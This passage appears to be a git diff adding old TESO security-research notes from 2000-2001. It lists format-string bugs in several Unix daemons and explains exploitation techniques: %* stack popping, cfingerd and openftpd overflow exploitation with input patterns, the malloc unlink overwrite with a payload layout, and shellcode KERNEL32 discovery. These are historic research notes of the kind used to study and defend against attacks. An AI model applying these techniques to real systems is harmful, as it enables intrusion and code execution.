| 31 | ftpd source, though it is not activated, because again the define is missing. | ||
| 32 | A similar problem was also found in earlier proftpd sources. | ||
| 33 | |||
| 34 | |||
| 35 | --[ linux-ntalkd source in netstd package of Debian 2.2 potato | ||
| 36 | |||
| 37 | netkit-ntalk-0.10/talkd/announce.c, /fprintf format string | ||
| 38 | |||
| 39 | If some use wants to talk to another user using talk an announce message is | ||
| 40 | send to the recipient, notifying of the request. This announce message is | ||
| 41 | partly build from user input (from the person requesting the talk), and then | ||
| 42 | fed into a fprintf, resulting in a format string vulnerability. This issue | ||
| 43 | has been known in the scene I've been told by another person, though there | ||
| 44 | is no exploit for it yet, since character filtering and size issues make | ||
| 45 | exploitation tricky. | ||
| 46 | |||
| 47 | |||
| 48 | --[ lucent/livingston radius daemon 2.1 (radius21.tar.Z) | ||
| 49 | |||
| 50 | src/log.c, /syslog(priority, buffer) | ||
| 51 | |||
| 52 | This bug shows how careless programming can turn in your worst nightmare. | ||
| 53 | The log function itself contains a formating bug: The format string is | ||
| 54 | properly printed into a stack buffer, and then this buffer is used as the | ||
| 55 | format string to syslog, *ouch*. So every log function that has even parts | ||
| 56 | of the input supplied by the user (there are plenty) can be used to exploit | ||
| 57 | this hole. This buggy code only manifests if VSYSLOG is defined, this has | ||
| 58 | to be checked, when it is the case (which is another bug also, it should | ||
| 59 | activate if VSYSLOG is not defined). There may be some better ways to | ||
| 60 | exploit it, I've checked for some minutes, one method would be to try | ||
| 61 | to authenticate with a username containing a space, but then only 64 bytes | ||
| 62 | of format string are available to the attacker. If the users are allowed to | ||
| 63 | change their password (in general), then you have 253 of format string if | ||
| 64 | you try to change the password for a user that doesn't exist | ||
| 65 | (radiusd.c, /not found). | ||
| 66 | |||
| 67 | |||
| 68 | --[ innd - internet news daemon 2.3.0 | ||
| 69 | |||
| 70 | innfeed/misc.c, /^void logOrPrint | ||
| 71 | |||
| 72 | Like in the radius daemon there is a bug in the logging routine also. The | ||
| 73 | format is properly printed into a 512 byte long buffer and then this buffer | ||
| 74 | is carelessly printed as format string using syslog. Haven't checked for | ||
| 75 | exploitability. | ||
| 76 | |||
| 77 | |||
| 78 | --[ samba 2.0.7 | ||
| 79 | |||
| 80 | utils/smbpasswd.c:241: warning: TESO: Insufficient Format arguments: fprintf(2/3). | ||
| 81 | utils/smbpasswd.c:249: warning: TESO: Insufficient Format arguments: printf(1/2). | ||
| 82 | utils/smbpasswd.c:251: warning: TESO: Insufficient Format arguments: fprintf(2/3). | ||
| 83 | |||
| 84 | Using smbpasswd and creating an error message you can stuff user supplied | ||
| 85 | things into parts of the format strings passed to fprintf/printf. What | ||
| 86 | can be gained using this has to be checked. | ||
| 87 | |||
| 88 | |||
| 89 | =============================================================================== | ||
| 90 | |||
diff --git a/informationals/teso-i0029.txt b/informationals/teso-i0029.txt new file mode 100644 index 0000000..045405a --- /dev/null +++ b/informationals/teso-i0029.txt | |||
| @@ -0,0 +1,86 @@ | |||
| 1 | 0029 2000/10/05 format string: poping the stack faster than with %f | ||
| 2 | |||
| 3 | ==== TESO Informational ======================================================= | ||
| 4 | This piece of information is to be kept confidential. | ||
| 5 | =============================================================================== | ||
| 6 | |||
| 7 | Description ..........: format string: poping the stack faster than with %f | ||
| 8 | Date .................: 2000/10/05 22:00 | ||
| 9 | Author ...............: lorian | ||
| 10 | Publicity level ......: saw noone using this feature | ||
| 11 | Affected .............: programs containing format string vulnerabilities | ||
| 12 | Type of entity .......: (un)documented features of format strings | ||
| 13 | Type of discovery ....: useful information | ||
| 14 | Severity/Importance ..: medium | ||
| 15 | Found by .............: me? hey cant believe that noone did it so far ;) | ||
| 16 | |||
| 17 | =============================================================================== | ||
| 18 | |||
| 19 | I just discovered a nice thing: | ||
| 20 | |||
| 21 | if you deal with format string problems you have often very small buffers | ||
| 22 | to put the string into but a huge stack above. So question is: how do i | ||
| 23 | pop up the stack fast with a small format string. I know that some guys | ||
| 24 | use %f or %.f because that pops 8 byte at once. | ||
| 25 | |||
| 26 | But using a %f is not always possible, because a lot of programs come | ||
| 27 | with their own implementation of snprintf. And normaly those versions | ||
| 28 | are all without %f cause displaying a floating point number is not so | ||
| 29 | easy. (Okay most of those lack %n, too but you can still inspect memory | ||
| 30 | without %f %n). | ||
| 31 | |||
| 32 | So what is it what i found? | ||
| 33 | Kinda simple its the * char inside format strings. It means "read the | ||
| 34 | width from the next stack argument". | ||
| 35 | So "%*d" pops for example 2 bytes. This is fine and works for all | ||
| 36 | (g)libc implementations. If you think twice this is not really good | ||
| 37 | because you dont really know how big the output is (width from unknown | ||
| 38 | stack argument) That means you cannot really use it except you know | ||
| 39 | exactly what goes on on the stack. | ||
| 40 | |||
| 41 | But hey keep cool here are some things that makes it usable for | ||
| 42 | your format string attacks. Unfourtunately we must say good bye | ||
| 43 | to glibc Os (linux) at this point cause glibc does not have the | ||
| 44 | features that come now. | ||
| 45 | |||
| 46 | 1) Are we in space? Alot of stars attacking me! | ||
| 47 | |||
| 48 | lets try it: printf("%***d\n", 1, 2, 3, 4); | ||
| 49 | output: 4 | ||
| 50 | Hey cool! Isnt it? Multiple stars are accepted! Means with ONE | ||
| 51 | single char you can pop up the stack 4 bytes. | ||
| 52 | Here are some OS that supports it: | ||
| 53 | |||
| 54 | OpenBSD | ||
| 55 | FreeBSD | ||
| 56 | NetBSD | ||
| 57 | HP-UX B.11.00 U 9000/800 | ||
| 58 | SunOS 5.7 | ||
| 59 | Solaris 2.8 | ||
| 60 | |||
| 61 | Keep in mind: | ||
| 62 | NOT LINUX due to glibc | ||
| 63 | |||
| 64 | |||
| 65 | 2) Hey! You fooled me, that does not kill the above described | ||
| 66 | problem with a unknown width argument from stack. | ||
| 67 | |||
| 68 | Cool down! The solution is simple: | ||
| 69 | |||
| 70 | %****************1d | ||
| 71 | |||
| 72 | this pops 17*4 bytes but only gives out a string of width 1 | ||
| 73 | |||
| 74 | The combinations are endlessly ;) Damn GLIBC ;) I think i must read glibc source. | ||
| 75 | Btw nice glibc detection if you can see the output of the format string is: | ||
| 76 | %1*1d this stays unchanged under GLIBC. No format string interpretion. | ||
| 77 | Remember for BSD this only mean: POP 8 bytes and display 1 char. | ||
| 78 | |||
| 79 | |||
| 80 | |||
| 81 | Hehe Scut I see this giving you a nice... | ||
| 82 | |||
| 83 | *** THE END *** | ||
| 84 | |||
| 85 | =============================================================================== | ||
| 86 | |||
diff --git a/informationals/teso-i0030.txt b/informationals/teso-i0030.txt new file mode 100644 index 0000000..2b9593e --- /dev/null +++ b/informationals/teso-i0030.txt | |||
| @@ -0,0 +1,53 @@ | |||
| 1 | 0030 2000/10/14 exploitable format string problem in cfingerd <= 1.4.2 | ||
| 2 | |||
| 3 | ==== TESO Informational ======================================================= | ||
| 4 | This piece of information is to be kept confidential. | ||
| 5 | =============================================================================== | ||
| 6 | |||
| 7 | Description ..........: exploitable format string problem in cfingerd <= 1.4.2 | ||
| 8 | Date .................: 2000/10/14 12:00 | ||
| 9 | Author ...............: scut | ||
| 10 | Publicity level ......: unknown | ||
| 11 | Affected .............: cfingerd (The Configureable Finger Daemon) <= 1.4.2 | ||
| 12 | Type of entity .......: exploitable format string vulnerability | ||
| 13 | Type of discovery ....: vulnerabilitiy | ||
| 14 | Severity/Importance ..: high | ||
| 15 | Found by .............: scut | ||
| 16 | |||
| 17 | =============================================================================== | ||
| 18 | |||
| 19 | The Configureable Finger Daemon claims from itself to be quite secure, however | ||
| 20 | it suffered from several buffer overflows in the past, and this time it suffers | ||
| 21 | from a format string vulnerability when calling syslog, as in: | ||
| 22 | |||
| 23 | snprintf(syslog_str, sizeof(syslog_str), "%s fingered (internal) from %s", | ||
| 24 | username, ident_user); | ||
| 25 | syslog(LOG_NOTICE, (char *) syslog_str); | ||
| 26 | |||
| 27 | And some other times in the code. Although it looks like it is trivial to | ||
| 28 | exploit, this may not be as easy as it looks. We can supply both the username | ||
| 29 | and the ident_user buffers, though the ident_user buffer is limited to 60 | ||
| 30 | arbitrary bytes. The username buffer has to survive very restrictive whitelist | ||
| 31 | filtering, hence it is not suitable to store the shellcode in it. And 60 bytes | ||
| 32 | is not enough usually to store the stackpop+addresses+write+shellcode (using | ||
| 33 | "%.f" or the like to move esp) or the write+addresses+shellcode (using %..$n) | ||
| 34 | in it, so we have to find another way to inject the data into the memory. | ||
| 35 | |||
| 36 | Here is how we do it: | ||
| 37 | sscanf(username, "%[^\r\n]\r\n", username); | ||
| 38 | |||
| 39 | This line allows us to store an additional 70 arbitrary bytes, if we make | ||
| 40 | username look like this: legit\rourdata, where legit is a normal finger query, | ||
| 41 | and ourdata is arbitrary stuff. The \r char will be overwritten by a NUL byte | ||
| 42 | and hence the following restrictive filtering only affects the legit content. | ||
| 43 | |||
| 44 | This is how we exploit it on Linux (debian 2.1/2.2), on *BSD (and bsd libc | ||
| 45 | based systems) we run into problems with the %..$n trick, because they deny | ||
| 46 | large values. I currently know of no way to exploit this on BSD. | ||
| 47 | |||
| 48 | An exploit is available as 7350cfingerd, with default offsets for some | ||
| 49 | distributions. Cfingerd is not enabled on most distributions by default, | ||
| 50 | however. | ||
| 51 | |||
| 52 | =============================================================================== | ||
| 53 | |||
diff --git a/informationals/teso-i0031.txt b/informationals/teso-i0031.txt new file mode 100644 index 0000000..84418ba --- /dev/null +++ b/informationals/teso-i0031.txt | |||
| @@ -0,0 +1,68 @@ | |||
| 1 | 0031 2000/12/20 exploitable one-byte overflow in openftpd 1.0 beta28 | ||
| 2 | |||
| 3 | ==== TESO Informational ======================================================= | ||
| 4 | This piece of information is to be kept confidential. | ||
| 5 | =============================================================================== | ||
| 6 | |||
| 7 | Description ..........: exploitable one-byte overflow in openftpd 1.0 beta28 | ||
| 8 | Date .................: 2000/12/20 23:00 | ||
| 9 | Author ...............: scut | ||
| 10 | Publicity level ......: unknown before, told to openftpd authors | ||
| 11 | Affected .............: openftpd 1.0 beta28 and below | ||
| 12 | Type of entity .......: exploitable buffer overflow | ||
| 13 | Type of discovery ....: vulnerabilitiy | ||
| 14 | Severity/Importance ..: high | ||
| 15 | Found by .............: scut | ||
| 16 | |||
| 17 | =============================================================================== | ||
| 18 | |||
| 19 | The OpenFTPd project develops a FTP daemon optimized for warez and mp3 sites, | ||
| 20 | with extensive script and maintenance support, far over the FTP RFC standards. | ||
| 21 | It introduces a command 'SITE INFO' to let each user set his own 'infoline', | ||
| 22 | a describing line, which may not be longer then 50 chars. Often it is used to | ||
| 23 | set affiliations to certain warez groups or short mottos or slogans. | ||
| 24 | |||
| 25 | However, this 'SITE INFO' is flawed: | ||
| 26 | |||
| 27 | int cmd_site_info(char** p, int n) | ||
| 28 | { | ||
| 29 | char str[128]; | ||
| 30 | char infoline[50]; | ||
| 31 | int i; | ||
| 32 | |||
| 33 | if (!n) printf("UIN %s\n", usr.name); | ||
| 34 | else { | ||
| 35 | snprintf(str, sizeof(str), "%s ", p[0]); | ||
| 36 | for(i = 1; i < n; i++) { | ||
| 37 | strncat(str, p[i], sizeof(str) - strlen(str)); | ||
| 38 | strncat(str, " ", sizeof(str) - strlen(str)); | ||
| 39 | } | ||
| 40 | str[strlen(str) - 1] = '\0'; | ||
| 41 | printf("UIN %s %s\n", usr.name, str); | ||
| 42 | } | ||
| 43 | if (!fgets(str, sizeof(str), stdin)) | ||
| 44 | strncpy(str, "-!Bpipe error!0", sizeof(str) - 1); | ||
| 45 | return send_reply(*str == '+' ? 200 : 550, str+1); | ||
| 46 | } | ||
| 47 | |||
| 48 | The two strncat's store a NUL byte right behind the str buffer, if the content | ||
| 49 | of str is already long enough. On x86 platforms the least significant byte of | ||
| 50 | the framepointer is overwritten and the stack frame of the calling function | ||
| 51 | slides down. This is very much similar to the exploitable one-byte overflow | ||
| 52 | in the OpenBSD ftpd recently discovered. Here a reasonable target to store the | ||
| 53 | real retaddr in is the buffer str[256] in the calling function, which may be | ||
| 54 | easily written into by issuing something like: | ||
| 55 | |||
| 56 | AAAAAAAAAAAAAAAAAAAA<up to 256 bytes>\n | ||
| 57 | SITE INFO a aaaaaaaa<more then 128 bytes>\n | ||
| 58 | |||
| 59 | A substantial portion of the str[256] buffer contains 'A' characters and you | ||
| 60 | may have luck that your stored retaddr is at the right place. The ftpd is | ||
| 61 | respawning, since only a child process segfaults on wrong attempts, so you | ||
| 62 | have enough space and time to try all possible combinations (~ 1000 * 4 * 64 | ||
| 63 | = 256,000). | ||
| 64 | |||
| 65 | The authors have been notified, let's see whether it gets fixed. | ||
| 66 | |||
| 67 | =============================================================================== | ||
| 68 | |||
diff --git a/informationals/teso-i0032.txt b/informationals/teso-i0032.txt new file mode 100644 index 0000000..f238441 --- /dev/null +++ b/informationals/teso-i0032.txt | |||
| @@ -0,0 +1,350 @@ | |||
| 1 | 0032 2001/02/03 explanations of malloc() overwrite technique | ||
| 2 | |||
| 3 | ==== TESO Informational ======================================================= | ||
| 4 | This piece of information is to be kept confidential. | ||
| 5 | =============================================================================== | ||
| 6 | |||
| 7 | Description ..........: Explanations of malloc() overwrite technique | ||
| 8 | Date .................: 2001/02/03 23:00 | ||
| 9 | Author ...............: scut | ||
| 10 | Publicity level ......: known | ||
| 11 | Affected .............: heap overflows in malloc'ed memory, special libc's | ||
| 12 | Type of entity .......: exploitation technique | ||
| 13 | Type of discovery ....: exploitation technique | ||
| 14 | Severity/Importance ..: medium | ||
| 15 | Found by .............: Solar Designer | ||
| 16 | |||
| 17 | =============================================================================== | ||
| 18 | |||
| 19 | Originally discovered by Solar Designer, this techniques allows arbitrary | ||
| 20 | memory overwrites if you can overflow a malloc'ed buffer. | ||
| 21 | |||
| 22 | On a common buffer overflow within the stack space, there are interesting | ||
| 23 | variables after the overflowing buffer. Often this includes pointers, return | ||
| 24 | addresses, function parameters, etc. | ||
| 25 | |||
| 26 | In heap space there is far less interesting data that can be overwritten. But | ||
| 27 | buffer overflows do occur in malloc'ed or static buffers, too. For static | ||
| 28 | buffers, there are some techniques, namely to overwrite function pointers, | ||
| 29 | jmp_buf'ers, or GCC created DTORS tables. | ||
| 30 | |||
| 31 | For malloced space the situation was way more complicated, since the heap | ||
| 32 | space used by malloc is dynamically ordered, giving away chunks of memory to | ||
| 33 | the program if it requests them. Beside the order also the addresses and the | ||
| 34 | content of the memory can vary a lot depending on the programs usage, system | ||
| 35 | load or the moonlight. Well, nearly. | ||
| 36 | |||
| 37 | However, it is desireable to find a more reliable way to exploit buffer | ||
| 38 | overflows occuring within malloc'ed areas. This may have been the intention | ||
| 39 | of our hero, Solar Designer, who thought upon this neat technique. | ||
| 40 | |||
| 41 | Here it is, but first some technical background. | ||
| 42 | |||
| 43 | The malloc(3) function is used to request memory from a dynamically growing | ||
| 44 | memory area, called 'the heap'. Using the sbrk(2) system call a program can | ||
| 45 | modify the border of this area. If the program needs a lot of memory in | ||
| 46 | pieces and dynamically this can result in a lot of work to sort, use, reuse | ||
| 47 | this memory areas efficiently. So this basic functionality of memory | ||
| 48 | management is implemented in a efficient way within the standard C library. | ||
| 49 | The internals are not interesting to the programmer, since he only uses | ||
| 50 | malloc(3) to request memory of a certain size, and free(3) to release the | ||
| 51 | memory after it is not in use anymore. | ||
| 52 | |||
| 53 | But for taking advantage of a buffer overflow within a buffer that was created | ||
| 54 | using malloc(3) we have to look at the details of the memory management | ||
| 55 | system. In this case we use the all so popular GNU C Library. | ||
| 56 | |||
| 57 | The C library keeps the information about the memory slices the application | ||
| 58 | requests in so called 'chunks'. They look like this (adapted from malloc.c): | ||
| 59 | |||
| 60 | +----------------------------------+ | ||
| 61 | chunk -> | prev_size | | ||
| 62 | +----------------------------------+ | ||
| 63 | | size | | ||
| 64 | +----------------------------------+ | ||
| 65 | mem -> | data | | ||
| 66 | : ... : | ||
| 67 | +----------------------------------+ | ||
| 68 | nextchunk -> | prev_size ... | | ||
| 69 | : : | ||
| 70 | |||
| 71 | Where mem is the pointer you get as return value from malloc(). So if you do | ||
| 72 | a: | ||
| 73 | unsigned char * mem = malloc (16); | ||
| 74 | |||
| 75 | Then 'mem' is equal to the pointer in the figure, and (mem - 8) would be | ||
| 76 | equal to the 'chunk' pointer. | ||
| 77 | |||
| 78 | The 'prev_size' element has a special function: If the chunk before the | ||
| 79 | current one is unused (it was free'd), it contains the length of the chunk | ||
| 80 | before. If the chunk before the current one is used, the 'prev_size' value is | ||
| 81 | zero. | ||
| 82 | The 'size' field has a special meaning. As you would expect it contains the | ||
| 83 | length of the current block of memory, the data section. As you call malloc(), | ||
| 84 | it is set and is always padded up to the next double-word boundary. So a | ||
| 85 | malloc(7) will become a malloc(8), and a malloc(20) will become malloc(24). | ||
| 86 | For malloc(0) it will be padded to malloc(8), the reason we will see later in | ||
| 87 | this text. | ||
| 88 | |||
| 89 | Since this padding implies that the lower three bits are always zero and have | ||
| 90 | no meaning to the real length, they are used otherwise, to indicate special | ||
| 91 | attributes of this chunk. The lowest bit, called PREV_INUSE, indicates whether | ||
| 92 | the previous chunk is used or not. It is set if it is used. The second least | ||
| 93 | significant bit is set if the memory area is mmap'ed, a special case which we | ||
| 94 | will not consider. The third least significant bit is unused. | ||
| 95 | |||
| 96 | To test whether the current chunk is in use or not, we have to check the next | ||
| 97 | chunks PREV_INUSE bit within its size value. | ||
| 98 | |||
| 99 | Once we free() the chunk, using free(mem), some checks take place and the | ||
| 100 | memory is released. If its neighbour blocks are free, too (checked using the | ||
| 101 | PREV_INUSE flag), then they are merged, to keep the number of reuseable | ||
| 102 | blocks low, but their sizes as large as possible. If a merge is not possible, | ||
| 103 | the next chunk is tagged with a cleared PREV_INUSE bit, and the chunk changes | ||
| 104 | a bit: | ||
| 105 | |||
| 106 | +----------------------------------+ | ||
| 107 | chunk -> | prev_size | | ||
| 108 | +----------------------------------+ | ||
| 109 | | size | | ||
| 110 | +----------------------------------+ | ||
| 111 | mem -> | fd | | ||
| 112 | +----------------------------------+ | ||
| 113 | | bk | | ||
| 114 | +----------------------------------+ | ||
| 115 | | (old memory, can be zero bytes) | | ||
| 116 | : : | ||
| 117 | |||
| 118 | nextchunk -> | prev_size ... | | ||
| 119 | : : | ||
| 120 | |||
| 121 | As you can see, where our data was previously stored at the 'mem' pointer | ||
| 122 | returned by malloc, there are two new values, called 'fd' and 'bk', | ||
| 123 | forward and backward namely. They are pointers and point into a double | ||
| 124 | linked list of unconsolidated blocks of free memory. Everytime a new free | ||
| 125 | is issued now this list is checked, and possible unconsolidated blocks | ||
| 126 | are merged, or the whole memory is defragmented to release memory. | ||
| 127 | Since the malloc size we give to it is at least 8 bytes all the time, there | ||
| 128 | is always enough space for both pointers. If there is remaining old memory | ||
| 129 | behind the 'bk' pointer it remains unused until this memory is malloc'ed | ||
| 130 | again. | ||
| 131 | |||
| 132 | The interesting essence of this whole stuff is that the memory management | ||
| 133 | information itself is stored beside the data, a clear channeling problem | ||
| 134 | (just as with format string commands within the string itself, as control | ||
| 135 | channels in breakable phonelines, as return addresses within stack memory, | ||
| 136 | etc). | ||
| 137 | |||
| 138 | Since we can overwrite this management information if we can overwrite a | ||
| 139 | malloced area, we should take a look at how it is processed later on. As | ||
| 140 | every malloc'ed area is free()'d again in any sane program, we take a look | ||
| 141 | at free, which is a wrapper to chunk_free() within malloc.c (simplified a | ||
| 142 | bit to take out #ifdef's): | ||
| 143 | |||
| 144 | static void | ||
| 145 | chunk_free(arena *ar_ptr, mchunkptr p) | ||
| 146 | { | ||
| 147 | size_t hd = p->size; /* its head field */ | ||
| 148 | size_t sz; /* its size */ | ||
| 149 | int idx; /* its bin index */ | ||
| 150 | mchunkptr next; /* next contiguous chunk */ | ||
| 151 | size_t nextsz; /* its size */ | ||
| 152 | size_t prevsz; /* size of previous contiguous chunk */ | ||
| 153 | mchunkptr bck; /* misc temp for linking */ | ||
| 154 | mchunkptr fwd; /* misc temp for linking */ | ||
| 155 | int islr; /* track whether merging with last_remainder */ | ||
| 156 | |||
| 157 | check_inuse_chunk(ar_ptr, p); | ||
| 158 | |||
| 159 | sz = hd & ~PREV_INUSE; | ||
| 160 | next = chunk_at_offset(p, sz); | ||
| 161 | nextsz = chunksize(next); | ||
| 162 | |||
| 163 | Since the malloc management keeps chunks within special structures called | ||
| 164 | 'arenas', it is now tested whether the current chunk that should be free | ||
| 165 | directly borders to the 'top' chunk, a special chunk. The 'top' chunk is | ||
| 166 | always the top-most available memory chunk within an arena, it is bordering | ||
| 167 | the end of available memory. The whole if block is not interesting to the | ||
| 168 | typical buffer overflow within malloc space. | ||
| 169 | |||
| 170 | if (next == top(ar_ptr)) /* merge with top */ | ||
| 171 | { | ||
| 172 | sz += nextsz; | ||
| 173 | |||
| 174 | if (!(hd & PREV_INUSE)) /* consolidate backward */ | ||
| 175 | { | ||
| 176 | prevsz = p->prev_size; | ||
| 177 | p = chunk_at_offset(p, -(long)prevsz); | ||
| 178 | sz += prevsz; | ||
| 179 | unlink(p, bck, fwd); | ||
| 180 | } | ||
| 181 | |||
| 182 | set_head(p, sz | PREV_INUSE); | ||
| 183 | top(ar_ptr) = p; | ||
| 184 | |||
| 185 | if ((unsigned long)(sz) >= (unsigned long)trim_threshold) | ||
| 186 | main_trim(top_pad); | ||
| 187 | return; | ||
| 188 | } | ||
| 189 | |||
| 190 | Now the 'size' of the current chunk is tested whether the previous chunk is | ||
| 191 | unused (testing for the PREV_INUSE flag), and if it is the case both chunks | ||
| 192 | are merged. | ||
| 193 | |||
| 194 | islr = 0; | ||
| 195 | |||
| 196 | if (!(hd & PREV_INUSE)) /* consolidate backward */ | ||
| 197 | { | ||
| 198 | prevsz = p->prev_size; | ||
| 199 | p = chunk_at_offset(p, -(long)prevsz); | ||
| 200 | sz += prevsz; | ||
| 201 | |||
| 202 | if (p->fd == last_remainder(ar_ptr)) /* keep as last_remainder */ | ||
| 203 | islr = 1; | ||
| 204 | else | ||
| 205 | unlink(p, bck, fwd); | ||
| 206 | } | ||
| 207 | |||
| 208 | Now the same is done into the other direction, it is checked whether the | ||
| 209 | chunk in front of the current chunk is free (testing for the PREV_INUSE | ||
| 210 | flag of the size two chunks ahead). If it is the case the chunk is merged | ||
| 211 | into the current one. | ||
| 212 | |||
| 213 | if (!(inuse_bit_at_offset(next, nextsz))) /* consolidate forward */ | ||
| 214 | { | ||
| 215 | sz += nextsz; | ||
| 216 | |||
| 217 | if (!islr && next->fd == last_remainder(ar_ptr)) | ||
| 218 | /* re-insert last_remainder */ | ||
| 219 | { | ||
| 220 | islr = 1; | ||
| 221 | link_last_remainder(ar_ptr, p); | ||
| 222 | } | ||
| 223 | else | ||
| 224 | unlink(next, bck, fwd); | ||
| 225 | |||
| 226 | next = chunk_at_offset(p, sz); | ||
| 227 | } | ||
| 228 | else | ||
| 229 | set_head(next, nextsz); /* clear inuse bit */ | ||
| 230 | |||
| 231 | set_head(p, sz | PREV_INUSE); | ||
| 232 | next->prev_size = sz; | ||
| 233 | if (!islr) | ||
| 234 | frontlink(ar_ptr, p, sz, idx, bck, fwd); | ||
| 235 | } | ||
| 236 | |||
| 237 | As Solar Designer showed us, it is possible to use the 'unlink' macro to | ||
| 238 | overwrite arbitrary memory locations. Here is how: | ||
| 239 | |||
| 240 | A usual buffer overflow situation might look like: | ||
| 241 | |||
| 242 | mem = malloc (24); | ||
| 243 | gets (mem); | ||
| 244 | ... | ||
| 245 | free (mem); | ||
| 246 | |||
| 247 | This way the malloc'ed chunk looks like this: | ||
| 248 | |||
| 249 | [ prev_size ] [ size P] [ 24 bytes ... ] (next chunk) | ||
| 250 | [ prev_size ] [ size P] [ fd ] [ bk ] | ||
| 251 | or [ data ... ] | ||
| 252 | |||
| 253 | As you can see, the next chunk directly borders to our chunk we overflow. We | ||
| 254 | can overwrite anything behind the data region of our chunk, including the | ||
| 255 | header of the following chunk. | ||
| 256 | |||
| 257 | If we take a closer look at the end of the chunk_free function, we see this | ||
| 258 | code: | ||
| 259 | |||
| 260 | if (!(inuse_bit_at_offset(next, nextsz))) /* consolidate forward */ | ||
| 261 | { | ||
| 262 | sz += nextsz; | ||
| 263 | |||
| 264 | if (!islr && next->fd == last_remainder(ar_ptr)) | ||
| 265 | /* re-insert last_remainder */ | ||
| 266 | { | ||
| 267 | islr = 1; | ||
| 268 | link_last_remainder(ar_ptr, p); | ||
| 269 | } | ||
| 270 | else | ||
| 271 | unlink(next, bck, fwd); | ||
| 272 | |||
| 273 | next = chunk_at_offset(p, sz); | ||
| 274 | } | ||
| 275 | |||
| 276 | The inuse_bit_at_offset, is defined as macro in the beginning of malloc.c: | ||
| 277 | |||
| 278 | #define inuse_bit_at_offset(p, s)\ | ||
| 279 | (((mchunkptr)(((char*)(p)) + (s)))->size & PREV_INUSE) | ||
| 280 | |||
| 281 | Since we control the header of the 'next' chunk we can trigger the whole if | ||
| 282 | block at will. The inner if statement is uninteresting, except our chunk is | ||
| 283 | bordering to the top-most chunk. So if we choose to trigger the outer if | ||
| 284 | statement, we will call unlink, which is defined as macro, too: | ||
| 285 | |||
| 286 | #define unlink(P, BK, FD) \ | ||
| 287 | { \ | ||
| 288 | BK = P->bk; \ | ||
| 289 | FD = P->fd; \ | ||
| 290 | FD->bk = BK; \ | ||
| 291 | BK->fd = FD; \ | ||
| 292 | } | ||
| 293 | |||
| 294 | The unlink is called with a pointer to a free chunk and two temporary pointer | ||
| 295 | variables, called bck and fwd. It does this to the 'next' chunk header: | ||
| 296 | |||
| 297 | *(next->fd + 12) = next->bk | ||
| 298 | *(next->bk + 8) = next->fd | ||
| 299 | |||
| 300 | They are not swapped, but the 'fd' and 'bk' pointers point to other chunks. | ||
| 301 | This two chunks being pointed to are linked, zapping the current chunk from | ||
| 302 | the table. | ||
| 303 | |||
| 304 | So to exploit a malloc based buffer overflow we have to write a bogus header | ||
| 305 | in the following chunk and then wait for our chunk getting free'd. | ||
| 306 | |||
| 307 | [buffer .... ] | [ prev_size ] [ size ] [ fd ] [ bk ] | ||
| 308 | |||
| 309 | '|' is the chunk boundary. | ||
| 310 | |||
| 311 | The values we set for 'prev_size' and 'size' do not matter, but two conditions | ||
| 312 | have to be met, in case it should work: | ||
| 313 | |||
| 314 | a) the two least significant bits of 'size' have to be zero | ||
| 315 | b) both, 'prev_size' and 'size' should be add-safe to a pointer that is | ||
| 316 | read from. So either use very small values up to a few thousand, or - | ||
| 317 | to avoid NUL bytes - use big values such as 0xfffffffc. | ||
| 318 | |||
| 319 | 'fd' and 'bk' can be set this way (as used in Solar Designers Netscape | ||
| 320 | Exploit): | ||
| 321 | |||
| 322 | fd = retloc - 12 | ||
| 323 | bk = retaddr | ||
| 324 | |||
| 325 | But beware, that (retaddr + 8) is being written to and the content there is | ||
| 326 | destroyed. You can circumvent this by a simple '\xeb\x0c' at retaddr, | ||
| 327 | which will jump twelve bytes ahead, over the destroyed content. Or you are | ||
| 328 | an evil nerd and directly do shellcode which immediatly loads a register with | ||
| 329 | it's own address and take advantage of the write ;-) (I am shooked SolarDiz' | ||
| 330 | did not mention that ;) | ||
| 331 | |||
| 332 | Well, however, exploitation is pretty straight forward now: | ||
| 333 | |||
| 334 | <jmp-ahead, 2> <6> <4 bogus> <nop> <shellcode> | | ||
| 335 | \xff\xff\xff\xfc \xff\xff\xff\xfc <retloc - 12> <retaddr> | ||
| 336 | |||
| 337 | Where '|' is the chunk boundary (from that point we overflow). Now, the next | ||
| 338 | two negative numbers are just to survive a few checks in free() and to avoid | ||
| 339 | NUL bytes. Then we store (retloc - 12) properly encoded and then the return | ||
| 340 | address, which will return to the 'jmp-ahead'. The buffer before the '|' is | ||
| 341 | the same as with any x86 exploit, except for the first 12 bytes, because we | ||
| 342 | have to take care of the extra write operation by the unlink macro. | ||
| 343 | |||
| 344 | |||
| 345 | XXXTODO: add off-by-one techniques | ||
| 346 | |||
| 347 | Thanks Solar Designer, for another nasty trick :-] | ||
| 348 | |||
| 349 | =============================================================================== | ||
| 350 | |||
diff --git a/informationals/teso-i0033.txt b/informationals/teso-i0033.txt new file mode 100644 index 0000000..3a9aaf3 --- /dev/null +++ b/informationals/teso-i0033.txt | |||
| @@ -0,0 +1,102 @@ | |||
| 1 | 0033 2001/02/25 (not-so) advanced way to find KERNEL32.DLL base address | ||
| 2 | ==== TESO Informational ======================================================= | ||
| 3 | This piece of information is to be kept confidential. | ||
| 4 | =============================================================================== | ||
| 5 | |||
| 6 | Description ..........: shellcode enhancement technique to stabilize NT sploits | ||
| 7 | Date .................: 2000/12/28 06:00 | ||
| 8 | Author ...............: halvar | ||
| 9 | Publicity level ......: its very obvious, but not used in any sploits I know | ||
| 10 | Affected .............: NT/Win32 specific | ||
| 11 | Type of entity .......: theoretical shit | ||
| 12 | Type of discovery ....: useful information | ||
| 13 | Severity/Importance ..: n/a | ||
| 14 | Found by .............: don't know; I spoke to lorian about this long ago | ||
| 15 | |||
| 16 | =============================================================================== | ||
| 17 | |||
| 18 | Everyone who has played around with NT shellcode knows that we need to rely on | ||
| 19 | some hardcoded values. As we don't have the luxury of usable syscalls via INT's | ||
| 20 | as under *NIX, we need to get access to the Windows API by either using values | ||
| 21 | inside the executable (PE) header or by getting the KERNEL32.DLL base address | ||
| 22 | somehow. Both approaches rely on hardcoded values; This is bad since we either | ||
| 23 | need to know the exact NT-Version & Service Pack (for guessing KERNEL32 base) | ||
| 24 | or the exact version of the executable we're attacking. | ||
| 25 | |||
| 26 | There are a few tricks to figure out the base address of KERNEL32 with maximum | ||
| 27 | stability, but I will just discuss my favourite one here: | ||
| 28 | |||
| 29 | Exception Handler Parsing | ||
| 30 | |||
| 31 | NT features something called "third-party-exception-handling" or "structured | ||
| 32 | exception handling" which allows applications to install exception handlers | ||
| 33 | that get control when (or if) an exception occurs. | ||
| 34 | The excact structure of these things are documented all over the place in | ||
| 35 | various articles on Win32 Assembly coding. (winasm32.cjb.net ?) | ||
